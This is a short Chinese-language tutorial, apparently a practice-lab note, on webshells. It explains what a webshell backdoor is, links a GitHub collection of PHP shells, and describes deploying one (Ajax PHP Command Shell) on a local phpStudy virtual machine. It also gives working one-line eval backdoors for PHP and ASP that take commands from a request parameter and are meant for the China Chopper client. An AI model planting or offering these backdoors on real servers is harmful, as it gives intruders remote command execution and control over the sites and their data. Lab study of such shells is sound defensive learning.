webshell--大马实战

webshell

​ WebShell 是一个网站的后门，也是一个命令解释器。通过Web 方式，使用HTTP| HTTPS 协议传递命令消息到服务器，并且继承了Web 用户的权限，在服务器上远程执行命令。WebShell 从本质上讲，就是服务器端可运行的脚本文件。

• WebShell 接收来自于Web 用户的命令，然后在服务器端执行，也称为网站木马、木马后门、网马等。

大马实战

PHP：https://github.com/tennc/webshell/

打开虚拟机phpstudy，在C:\phpStudy\WWW\创建webshell文件

将138shell/A/Ajax_PHP Command Shell.txt文件内容复制粘贴到C:\phpStudy\WWW\webshell\Ajax_PHP-Command-Shell.php

浏览器url：192.168.17.182

查看源代码知道密码

翻译一下

小马

一句话木马，需要与中国菜刀配合。

特点：短小精悍，功能强大。

三大基本功能：文件管理、虚拟终端、数据库管理。

php 脚本格式：

<?php @eval($_REQUEST[777])?> //代码执行函数+传参点

asp 脚本形式：

<%eval request("777")%>